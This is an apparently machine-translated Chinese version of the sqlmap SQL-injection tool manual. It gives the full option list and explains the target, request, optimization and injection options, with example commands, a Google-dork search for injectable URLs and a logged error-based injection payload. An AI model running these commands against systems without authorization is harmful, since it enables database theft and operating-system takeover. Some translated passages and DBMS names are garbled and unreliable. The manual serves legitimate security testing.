SQLMAP用法大全


用法

Usage: python sqlmap.py [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -d DIRECT           Connection string for direct database connection
    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file
    -x SITEMAPURL       Parse target(s) from remote sitemap(.xml) file
    -m BULKFILE         Scan multiple targets given in a textual file
    -r REQUESTFILE      Load HTTP request from a file
    -g GOOGLEDORK       Process Google dork results as target URLs
    -c CONFIGFILE       Load options from a configuration INI file

  Request:
    These options can be used to specify how to connect to the target URL

    --method=METHOD     Force usage of given HTTP method (e.g. PUT)
    --data=DATA         Data string to be sent through POST
    --param-del=PARA..  Character used for splitting parameter values
    --cookie=COOKIE     HTTP Cookie header value
    --cookie-del=COO..  Character used for splitting cookie values
    --load-cookies=L..  File containing cookies in Netscape/wget format
    --drop-set-cookie   Ignore Set-Cookie header from response
    --user-agent=AGENT  HTTP User-Agent header value
    --random-agent      Use randomly selected HTTP User-Agent header value
    --host=HOST         HTTP Host header value
    --referer=REFERER   HTTP Referer header value
    -H HEADER, --hea..  Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
    --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")
    --auth-type=AUTH..  HTTP authentication type (Basic, Digest, NTLM or PKI)
    --auth-cred=AUTH..  HTTP authentication credentials (name:password)
    --auth-file=AUTH..  HTTP authentication PEM cert/private key file
    --ignore-code=IG..  Ignore HTTP error code (e.g. 401)
    --ignore-proxy      Ignore system default proxy settings
    --ignore-redirects  Ignore redirection attempts
    --ignore-timeouts   Ignore connection timeouts
    --proxy=PROXY       Use a proxy to connect to the target URL
    --proxy-cred=PRO..  Proxy authentication credentials (name:password)
    --proxy-file=PRO..  Load proxy list from a file
    --tor               Use Tor anonymity network
    --tor-port=TORPORT  Set Tor proxy port other than default
    --tor-type=TORTYPE  Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
    --check-tor         Check to see if Tor is used properly
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --retries=RETRIES   Retries when the connection timeouts (default 3)
    --randomize=RPARAM  Randomly change value for given parameter(s)
    --safe-url=SAFEURL  URL address to visit frequently during testing
    --safe-post=SAFE..  POST data to send to a safe URL
    --safe-req=SAFER..  Load safe HTTP request from a file
    --safe-freq=SAFE..  Test requests between two visits to a given safe URL
    --skip-urlencode    Skip URL encoding of payload data
    --csrf-token=CSR..  Parameter used to hold anti-CSRF token
    --csrf-url=CSRFURL  URL address to visit to extract anti-CSRF token
    --force-ssl         Force usage of SSL/HTTPS
    --hpp               Use HTTP parameter pollution method
    --eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

  Optimization:
    These options can be used to optimize the performance of sqlmap

    -o                  Turn on all optimization switches
    --predict-output    Predict common queries output
    --keep-alive        Use persistent HTTP(s) connections
    --null-connection   Retrieve page length without actual HTTP response body
    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --skip=SKIP         Skip testing for given parameter(s)
    --skip-static       Skip testing parameters that not appear to be dynamic
    --param-exclude=..  Regexp to exclude parameters from testing (e.g. "ses")
    --dbms=DBMS         Force back-end DBMS to this value
    --dbms-cred=DBMS..  DBMS authentication credentials (user:password)
    --os=OS             Force back-end DBMS operating system to this value
    --invalid-bignum    Use big numbers for invalidating values
    --invalid-logical   Use logical operations for invalidating values
    --invalid-string    Use random strings for invalidating values
    --no-cast           Turn off payload casting mechanism
    --no-escape         Turn off string escaping mechanism
    --prefix=PREFIX     Injection payload prefix string
    --suffix=SUFFIX     Injection payload suffix string
    --tamper=TAMPER     Use given script(s) for tampering injection data

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)
    --string=STRING     String to match when query is evaluated to True
    --not-string=NOT..  String to match when query is evaluated to False
    --regexp=REGEXP     Regexp to match when query is evaluated to True
    --code=CODE         HTTP code to match when query is evaluated to True
    --text-only         Compare pages based only on the textual content
    --titles            Compare pages based only on their titles

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
    --union-char=UCHAR  Character to use for bruteforcing number of columns
    --union-from=UFROM  Table to use in FROM part of UNION query SQL injection
    --dns-domain=DNS..  Domain name used for DNS exfiltration attack
    --second-order=S..  Resulting page URL searched for second-order response

  Fingerprint:
    -f, --fingerprint   Perform an extensive DBMS version fingerprint

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --hostname          Retrieve DBMS server hostname
    --is-dba            Detect if the DBMS current user is DBA
    --users             Enumerate DBMS users
    --passwords         Enumerate DBMS users password hashes
    --privileges        Enumerate DBMS users privileges
    --roles             Enumerate DBMS users roles
    --dbs               Enumerate DBMS databases
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --count             Retrieve number of entries for table(s)
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    --search            Search column(s), table(s) and/or database name(s)
    --comments          Retrieve DBMS comments
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate
    -X EXCLUDECOL       DBMS database table column(s) to not enumerate
    -U USER             DBMS user to enumerate
    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
    --pivot-column=P..  Pivot column name
    --where=DUMPWHERE   Use WHERE condition while table dumping
    --start=LIMITSTART  First dump table entry to retrieve
    --stop=LIMITSTOP    Last dump table entry to retrieve
    --first=FIRSTCHAR   First query output word character to retrieve
    --last=LASTCHAR     Last query output word character to retrieve
    --sql-query=QUERY   SQL statement to be executed
    --sql-shell         Prompt for an interactive SQL shell
    --sql-file=SQLFILE  Execute SQL statements from given file(s)

  Brute force:
    These options can be used to run brute force checks

    --common-tables     Check existence of common tables
    --common-columns    Check existence of common columns

  User-defined function injection:
    These options can be used to create custom user-defined functions

    --udf-inject        Inject custom user-defined functions
    --shared-lib=SHLIB  Local path of the shared library

  File system access:
    These options can be used to access the back-end database management
    system underlying file system

    --file-read=RFILE   Read a file from the back-end DBMS file system
    --file-write=WFILE  Write a local file on the back-end DBMS file system
    --file-dest=DFILE   Back-end DBMS absolute filepath to write to

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC
    --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          Database process user privilege escalation
    --msf-path=MSFPATH  Local path where Metasploit Framework is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

  Windows registry access:
    These options can be used to access the back-end database management
    system Windows registry

    --reg-read          Read a Windows registry key value
    --reg-add           Write a Windows registry key value data
    --reg-del           Delete a Windows registry key value
    --reg-key=REGKEY    Windows registry key
    --reg-value=REGVAL  Windows registry key value
    --reg-data=REGDATA  Windows registry key value data
    --reg-type=REGTYPE  Windows registry key value type

  General:
    These options can be used to set some general working parameters

    -s SESSIONFILE      Load session from a stored (.sqlite) file
    -t TRAFFICFILE      Log all HTTP traffic into a textual file
    --batch             Never ask for user input, use the default behaviour
    --binary-fields=..  Result fields having binary values (e.g. "digest")
    --check-internet    Check Internet connection before assessing the target
    --crawl=CRAWLDEPTH  Crawl the website starting from the target URL
    --crawl-exclude=..  Regexp to exclude pages from crawling (e.g. "logout")
    --csv-del=CSVDEL    Delimiting character used in CSV output (default ",")
    --charset=CHARSET   Blind SQL injection charset (e.g. "0123456789abcdef")
    --dump-format=DU..  Format of dumped data (CSV (default), HTML or SQLITE)
    --encoding=ENCOD..  Character encoding used for data retrieval (e.g. GBK)
    --eta               Display for each output the estimated time of arrival
    --flush-session     Flush session files for current target
    --forms             Parse and test forms on target URL
    --fresh-queries     Ignore query results stored in session file
    --har=HARFILE       Log all HTTP traffic into a HAR file
    --hex               Use DBMS hex function(s) for data retrieval
    --output-dir=OUT..  Custom output directory path
    --parse-errors      Parse and display DBMS error messages from responses
    --save=SAVECONFIG   Save options to a configuration INI file
    --scope=SCOPE       Regexp to filter targets from provided proxy log
    --test-filter=TE..  Select tests by payloads and/or titles (e.g. ROW)
    --test-skip=TEST..  Skip tests by payloads and/or titles (e.g. BENCHMARK)
    --update            Update sqlmap

  Miscellaneous:
    -z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
    --alert=ALERT       Run host OS command(s) when SQL injection is found
    --answers=ANSWERS   Set question answers (e.g. "quit=N,follow=N")
    --beep              Beep on question and/or when SQL injection is found
    --cleanup           Clean up the DBMS from sqlmap specific UDF and tables
    --dependencies      Check for missing (non-core) sqlmap dependencies
    --disable-coloring  Disable console output coloring
    --gpage=GOOGLEPAGE  Use Google dork results from specified page number
    --identify-waf      Make a thorough testing for a WAF/IPS/IDS protection
    --mobile            Imitate smartphone through HTTP User-Agent header
    --offline           Work in offline mode (only use session data)
    --purge-output      Safely remove all content from output directory
    --skip-waf          Skip heuristic detection of WAF/IPS/IDS protection
    --smart             Conduct thorough tests only if positive heuristic(s)
    --sqlmap-shell      Prompt for an interactive sqlmap shell
    --tmp-dir=TMPDIR    Local directory for storing temporary files
    --web-root=WEBROOT  Web server document root directory (e.g. "/var/www")
    --wizard            Simple wizard interface for beginner users

輸出冗長

選項: -v

該選項可用於設置輸出消息的詳細級別。七個級別的詳細程度。默認級別是1,其中顯示信息,警告,錯誤,關鍵消息和Python追溯(如果有的話)。

  • 0:只顯示Python回溯,錯誤和關鍵信息。
  • 1:也顯示信息和警告消息。
  • 2:顯示調試消息。
  • 3:顯示注入的有效載荷。
  • 4:也顯示HTTP請求。
  • 5:也顯示HTTP響應的標題。
  • 6:顯示HTTP響應的頁面內容。

一個合理的冗長級別來進一步理解sqlmap在底層是做什么的2,主要用於檢測階段和接管功能。而如果你想看到工具發送的SQL負載,3是你的最佳選擇。當您向開發人員提供潛在的錯誤報告時,建議使用此級別,確保您使用選項生成的流量日志文件與標准輸出一起發送-t為了進一步調試潛在的錯誤或意外行為,我們建議您將詳細程度設置為4或更高。應該注意的是,還可以通過使用此選項的較短版本(字母數量)來設置詳細程度v內的規定開關(而不是選擇)確定的詳細級別(例如-v,而不是-v 2-vv代替-v 3-vvv而不是-v 4等)

目標

至少提供了其中一個選項來設置目標。

直接連接到數據庫

選項: -d

針對單個數據庫實例運行sqlmap。該選項以下列形式之一接受連接字符串:

  • DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME (MySQL,Oracle,Microsoft SQL Server,PostgreSQL等)
  • DBMS://DATABASE_FILEPATH (SQLite,Microsoft Access,Firebird等)

例如:

$ python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --bann\
er --dbs --users

目標網址

選項:-u--url

針對單個目標網址運行sqlmap。該選項需要以下格式的目標網址:

http(s)://targeturl[:port]/[...]

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -\
-users

從Burp或WebScarab代理日志解析目標

選項: -l

可以測試和注入通過Burp代理或 WebScarab代理代理的 HTTP請求,而不是提供單個目標URL 該選項需要一個參數,它是代理的HTTP請求日志文件。

從遠程站點地圖(.xml)文件解析目標

選項: -x

網站地圖是一個文件,網絡管理員可以列出他們網站的網頁位置,以告訴搜索引擎關於網站內容的組織。您可以使用選項-x(例如-x http://www.target.com/sitemap.xml為sqlmap提供站點地圖的位置,以便它可以找到可用的目標URL以進行掃描。

掃描給定文本文件中列出的多個目標

選項: -m

提供在給定的批量文件中列出的目標URL列表,sqlmap將逐一掃描每個URL。

作為此選項的參數提供的大容量文件的示例內容:

www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

從文件加載HTTP請求

選項: -r

sqlmap的一種可能性是從文本文件加載原始HTTP請求。這樣,您可以跳過其他一些選項的使用(例如設置Cookie,發布數據等)。

作為參數提供給此選項的HTTP請求文件的示例內容:

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

請注意,如果請求通過HTTPS,則可以將此與切換配合使用--force-ssl以強制SSL連接到443 / tcp。或者,您可以追加:443Host標題值的末尾

將Google dork結果作為目標地址進行處理

選項: -g

根據您的Google dork的結果,還可以測試並注入GET參數。

此選項使得sqlmap與搜索引擎協商其會話cookie以執行搜索,然后sqlmap將使用GET參數檢索Google首個100條Google Dork表達式結果,詢問您是否要測試並注入每個可能受影響的URL 。

例如:

$ python sqlmap.py -g "inurl:\".php?id=1\""

從配置INI文件加載選項

選項: -c

可以從配置INI文件傳遞用戶選項,例如sqlmap.conf

請注意,如果您從命令行提供其他選項,那么在運行sqlmap時會對這些選項進行評估並覆蓋配置文件中提供的選項。

請求

這些選項可用於指定如何連接到目標URL。

HTTP方法

選項: --method

sqlmap會自動檢測HTTP請求中使用的正確的HTTP方法。不過,在某些情況下,需要強制使用PUT自動化未使用的特定HTTP方法(例如)。這可以使用這個選項(例如--method=PUT)。

HTTP數據

選項: --data

默認情況下,用於執行HTTP請求的HTTP方法是GET,但可以通過提供要在POST請求中發送的數據來隱式地將其更改為POST。這些數據,即那些參數,針對SQL注入以及任何提供的GET參數進行了測試。

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banne\
r --dbs --users

參數分割字符

選項: --param-del

在某些情況下,&需要為sqlmap重寫默認參數分隔符(例如,在GET和POST數據中),以便能夠分別正確拆分和處理每個參數。

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=\
1" --param-del=";" -f --banner --dbs --users

HTTP Cookie標頭

選項和開關:--cookie--cookie-del--load-cookies--drop-set-cookie

這些選項和開關可用於兩種情況:

  • Web應用程序需要基於Cookie的身份驗證,並且您擁有此類數據。
  • 您想要檢測並利用此類標頭值上的SQL注入。

無論哪種原因,都需要使用sqlmap請求發送cookie,所需的步驟如下:

  • 用您最喜歡的瀏覽器登錄應用程序。
  • 從瀏覽器的首選項或從HTTP代理屏幕獲取HTTP Cookie並復制到剪貼板。
  • 回到你的shell並通過粘貼你的剪貼板作為選項的值來運行sqlmap --cookie

請注意,HTTP Cookie標頭值通常由一個;字符分隔而不是由一個字符分隔&sqlmap可以將它們識別為單獨的集合parameter=value,以及GET和POST參數。如果分隔字符不是;可以通過使用選項指定的--cookie-del

如果在通信過程中的任何時候,Web應用程序都會響應Set-Cookie標題,則sqlmap將自動使用其所有其他HTTP請求中的值作為Cookie標題。sqlmap也會自動為SQL注入測試這些值。這可以通過提供交換機來避免--drop-set-cookie--sqlmap會忽略任何即將到來的Set-Cookie頭文件。

反之亦然,如果您提供Cookie帶有選項的HTTP 標頭,--cookie並且目標URL Set-Cookie隨時會發送HTTP 標頭,則sqlmap會詢問您用於下列HTTP請求的哪組Cookie。

還有一個選項--load-cookies可用於提供包含Netscape / wget格式化cookie的特殊文件。

請注意,Cookie如果--level設置為2或更高,則HTTP 頭將針對SQL注入進行測試詳情請閱讀下文。

HTTP User-Agent標頭

選項和開關:--user-agent--random-agent

默認情況下,sqlmap使用以下User-Agent頭部值執行HTTP請求

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

但是,可以--user-agent通過提供自定義User-Agent作為選項的參數來偽裝它

而且,通過提供交換機--random-agent,sqlmap將從文本文件中隨機選擇一個User-Agent./txt/user-agents.txt並將其用於會話中的所有HTTP請求。

某些站點執行HTTP User-Agent頭值的服務器端檢查,並且如果User-Agent未提供有效的HTTP響應,HTTP響應將失敗,其值不是預期的,或者被Web應用程序防火牆或類似的入侵防護系統列入黑名單。在這種情況下,sqlmap會顯示如下消息:

[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to 
force the HTTP User-Agent header with option --user-agent or --random-agent

請注意,User-Agent如果--level設置為3或更高,則HTTP 頭將針對SQL注入進行測試詳情請閱讀下文。

HTTP Host標頭

選項: --host

您可以手動設置HTTP Host標頭值。默認情況下,HTTP Host頭是從提供的目標URL中分析的。

請注意,Host如果--level設置為5,則還會針對SQL注入測試HTTP 標頭詳情請閱讀下文。

HTTP Referer標頭

選項: --referer

有可能偽造HTTP Referer標頭值。默認情況下,沒有 HTTP Referer報頭在HTTP請求發送,如果沒有明確設定。

請注意,Referer如果--level設置為3或更高,則HTTP 頭將針對SQL注入進行測試詳情請閱讀下文。

額外的HTTP標頭

選項: --headers

可以通過設置選項來提供額外的HTTP標頭--headers每個頭文件必須用換行符分隔,並且從配置INI文件中提供它們要容易得多。你可以看看sqlmap.conf這種情況下的示例文件。

針對MySQL目標的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z \
"ign,flu,bat,tec=E" --headers="Host:www.target.com\nUser-agent:Firefox 1.0" -v 5
[...]
[xx:xx:44] [TRAFFIC OUT] HTTP request [#5]:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20%28SELECT%209351%20FROM%28SELECT%20C\
OUNT%28%2A%29%2CCONCAT%280x3a6161733a%2C%28SELECT%20%28CASE%20WHEN%20%285473%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3D%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%205473%29%20THEN%201%20ELSE%200%20END%29%29%2C\
0x3a6c666d3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARA\
CTER_SETS%20GROUP%20BY%20x%29a%
29 HTTP/1.1
Host: www.target.com
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Firefox 1.0
Connection: close
[...]

HTTP協議認證

選項:--auth-type--auth-cred

這些選項可以用來指定哪些HTTP協議認證后端Web服務器實現以及用於執行對目標應用程序的所有HTTP請求的有效憑證。

三種支持的HTTP協議認證機制是:

  • Basic
  • Digest
  • NTLM

憑證的語法是username:password

有效語法的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id\
=1" --auth-type Basic --auth-cred "testuser:testpass"

HTTP協議私鑰認證

選項: --auth-file

當Web服務器需要適當的客戶端證書和用於身份驗證的私鑰時,應使用此選項。提供的值應該是PEM格式key_file,包含您的證書和私鑰。

忽略HTTP錯誤401(未授權)

開關 --ignore-401

如果您想要測試偶爾返回HTTP錯誤401(未授權)的站點,而您想忽略它並繼續測試而不提供正確的憑據,則可以使用開關 --ignore-401

HTTP(S)代理

選項和開關:--proxy--proxy-cred--proxy-file--ignore-proxy

可以提供一個HTTP(S)代理地址,以通過HTTP(S)請求傳遞給具有選項的目標URL --proxyHTTP(S)代理值的語法是http://url:port

如果HTTP(S)代理需要認證,則可以username:password以選項的格式提供憑證--proxy-cred

如果您想要使用(一次性)代理列表,在任何連接問題的標志(例如阻止侵入性IP地址)上跳到下一個代理,--proxy-file可以通過提供包含批量代理列表的文件的文件名來使用選項

--ignore-proxy當您想通過忽略系統范圍內設置的HTTP(S)代理服務器設置來針對局域網的目標部分運行sqlmap時,應使用交換機

Tor匿名網絡

開關和選項:--tor--tor-port--tor-type--check-tor

如果出於任何原因,您需要保持匿名,而不是通過單個預定義的HTTP(S)代理服務器傳遞,您可以Tor機器上配置Privoxy(或類似)Tor客戶端Tor安裝指南中所述然后你可以使用一個開關,並且sqlmap會嘗試自動設置Tor代理連接設置。--tor

如果你想手動設置使用Tor代理的類型和端口,你可以通過選項--tor-type--tor-port(例如--tor-type=SOCKS5 --tor-port 9050)來完成。

強烈建議您--check-tor偶爾使用以確保所有設置都正確。有些情況下,Tor捆綁(例如Vidalia)配置錯誤(或重置以前設置的配置)會給您一種錯誤的匿名感。使用這個開關,sqlmap會通過發送一個請求給官員來檢查一切是否按預期工作任何目標請求前的頁面。如果檢查失敗,sqlmap會警告你並突然退出。

每個HTTP請求之間的延遲

選項: --delay

可以指定每個HTTP(S)請求之間持續的秒數。有效值是一個浮點數,例如0.5意味着半秒。默認情況下,不設置延遲。

秒超時連接前等待

選項: --timeout

在考慮HTTP(S)請求超時之前,可以指定等待的秒數。有效值是一個浮點數,例如10.5意味着十秒半。默認設置為30秒

HTTP連接超時時的最大重試次數

選項: --retries

可以指定HTTP(S)連接超時時的最大重試次數。默認情況下,它重試最多三次

隨機更改給定參數的值(s)

選項: --randomize

可以指定參數名稱,這些參數名稱的值在每個請求期間要隨機更改。長度和類型根據提供的原始值保存。

使用正則表達式從提供的代理日志中過濾目標

選項: --scope

-l您可以指定有效的Python正則表達式用於過濾所需的正則表達式,而不是使用提供的帶有選項的日志解析所有主機

有效語法的示例:

$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

避免太多的不成功請求之后會破壞會話

選項:--safe-url--safe-post--safe-req--safe-freq

如果執行了一定數量的不成功請求,有時候中間的Web應用程序或檢查技術會破壞會話。這可能發生在sqlmap的檢測階段,或者它利用任何盲注SQL類型。原因是SQL有效負載不一定會返回輸出,因此可能會向應用會話管理或檢測技術發出信號。

要繞過目標設置的限制,您可以提供任何(或組合)選項:

  • --safe-url:測試期間頻繁訪問的URL地址。
  • --safe-post:HTTP POST數據發送到給定的安全URL地址。
  • --safe-req:從文件加載並使用安全的HTTP請求。
  • --safe-freq:在兩次訪問指定安全位置之間測試請求。

這樣,sqlmap將訪問每個預定義數量的請求一個安全的 URL,而無需對其進行任何注入。

關閉參數值的URL編碼

開關: --skip-urlencode

根據參數的位置(例如GET),其值可能默認為URL編碼。在某些情況下,后端Web服務器不遵循RFC標准,並要求以原始非編碼形式發送值。使用--skip-urlencode這些類型的案件。

繞過防CSRF保護

選項:--csrf-token--csrf-url

很多站點都以令牌形式包含反CSRF保護,隱藏字段值在每個頁面響應期間隨機設置。SqlMap的會自動嘗試識別並繞過這種保護,但也有選項--csrf-token,並--csrf-url可以用來進一步微調它。Option --csrf-token可用於設置包含隨機標記的隱藏值的名稱。這對於網站使用非標准名稱的情況很有用。Option --csrf-url可用於從任意URL地址檢索令牌值。如果易受攻擊的目標URL首先不包含必要的標記值,但它需要從其他位置提取它,這非常有用。

強制使用SSL / HTTPS

開關: --force-ssl

如果用戶想強制對目標使用SSL / HTTPS請求,他可以使用此開關。在通過使用選項收集URL --crawl使用選項提供Burp日志時,這可能很有-l

在每個請求期間評估自定義的Python代碼

選項: --eval

如果用戶想要更改(或添加新的)參數值,最有可能是因為某些已知的依賴關系,他可以向sqlmap提供一個自定義Python代碼,--eval代碼將在每個請求之前進行評估。

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b9238\
20dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

此類運行的每個請求都將重新評估GET參數的值,hash以包含當前參數值的新MD5哈希摘要id

優化

這些開關可以用來優化sqlmap的性能。

捆綁優化

開關: -o

該開關是隱式設置以下選項和開關的別名:

  • --keep-alive
  • --null-connection
  • --threads=3 如果沒有設置為更高的值。

請閱讀下面的每個開關的詳細信息。

產量預測

開關: --predict-output

此開關用於推理算法,用於對正在檢索的值的字符進行順序統計預測。具有最有希望的字符值的統計表正在基於txt/common-outputs.txt結合所使用的當前枚舉的知識給出的項目來構建如果可以在普通輸出值中找到該值,隨着處理過程的進行,隨后的字符表越來越窄。如果與檢索常見DBMS實體結合使用,與系統表名稱和特權一起使用,加速意義重大。當然,如果您注意到數據庫表名或類似數據庫中的常見模式,則可以根據需要編輯通用輸出文件。

請注意,此開關與--threads開關不兼容

HTTP Keep-Alive

開關: --keep-alive

此開關指示sqlmap使用持久HTTP(s)連接。

請注意,此開關與--proxy開關不兼容

HTTP NULL連接

開關: --null-connection

有一些特殊的HTTP請求類型可用於檢索HTTP響應的大小而不需要獲取HTTP主體。這種知識可以在盲目注射技術被用來區分True來自False響應。當提供此開關時,sqlmap將嘗試測試並利用兩種不同的NULL連接技術:RangeHEAD如果目標網絡服務器支持其中任何一項,則加速將來自明顯節省使用的帶寬。

這些技術在白皮書“ 盲注SQL注入中的爆發性能 - 以2(帶寬)”為詳細信息

請注意,此開關與開關不兼容--text-only

並發HTTP(S)請求

選項: --threads

可以指定sqlmap允許執行的並發HTTP(S)請求的最大數量。這個特性依賴於多線程的概念,並繼承了它的專業和它的缺點。

此功能適用於暴力破解開關,以及何時通過任何盲注SQL技術完成數據提取。對於后一種情況,sqlmap首先計算單個線程中查詢輸出的長度,然后啟動多線程。每個線程都被分配來檢索查詢輸出的一個字符。線程在檢索到該字符時結束 - 它在sqlmap中實現了二分法,最多需要7個HTTP(S)請求。

出於性能和站點可靠性原因,最大並發請求數設置為10

請注意,該選項與開關不兼容--predict-output

注射

這些選項可用於指定要測試哪些參數,提供自定義注入有效負載和可選的篡改腳本。

可測試參數(s)

選項:-p--skip--param-exclude

默認情況下,sqlmap會測試所有的GET參數和POST參數。當值--level大於等於2時,它也會測試HTTP Cookie標頭值。當該值大於等於3時,它還會測試SQL注入的HTTP User-Agent和HTTP Referer標頭值。但是,可以手動指定您希望sqlmap測試的參數的逗號分隔列表。這也會繞過對價值的依賴--level

例如,要測試GET參數idUser-AgentHTTP ,請提供-p "id,user-agent"

如果用戶想從測試中排除某些參數,他可以使用選項--skip當你想使用更高的值--level並測試所有可用的參數,而不包括正常測試的HTTP標頭時,這一點尤其有用

例如,跳過測試HTTP標頭User-Agent和HTTP頭Referer--level=5,提供--skip="user-agent,referer"

也可以根據運行在其名稱上的正則表達式從測試中排除某些參數。在這種情況下,用戶可以使用選項--param-exclude

例如,要跳過對包含字符串token或其session名稱的參數的測試,請提供--param-exclude="token|session"

URI注入點

注入點位於URI本身內部時有特殊情況。除非手動指向,否則sqlmap不會對URI路徑執行任何自動測試。您必須在命令行中指定這些注入點,方法是在每個希望sqlmap測試和利用SQL注入的URI點之后附加一個星號(*)(注意:%INJECT HERE%也支持Havij樣式)。

例如,當Apache Web服務器的mod_rewrite模塊正在使用或其他類似的技術時,這是特別有用的

有效命令行的例子是:

$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

任意注射點

與URI注入點類似,asterisk(*)(%INJECT HERE%也支持Havij樣式)也可以用於指向GET,POST或HTTP頭中的任意注入點。注射點可以通過標記它設置有選項的GET參數值(一個或多個)內指定-u,POST參數值(一個或多個)提供選項--data,設置有選擇HTTP標頭值(S) ,-H--headers 和/或,或在通用處內部HTTP請求從文件加載選項--user-agent--referer--cookie-r

有效命令行的例子是:

$ python sqlmap.py -u "http://targeturl" --cookie="param1=value1*;param2=value2"

強制DBMS

選項: --dbms

默認情況下,sqlmap會自動檢測Web應用程序的后端數據庫管理系統。sqlmap完全支持以下數據庫管理系統:

  • MySQL的
  • 神諭
  • PostgreSQL的
  • Microsoft SQL Server
  • Microsoft Access
  • IBM DB2
  • SQLite的
  • 火鳥
  • SYBASE
  • SAP MaxDB
  • HSQLDB
  • Informix的

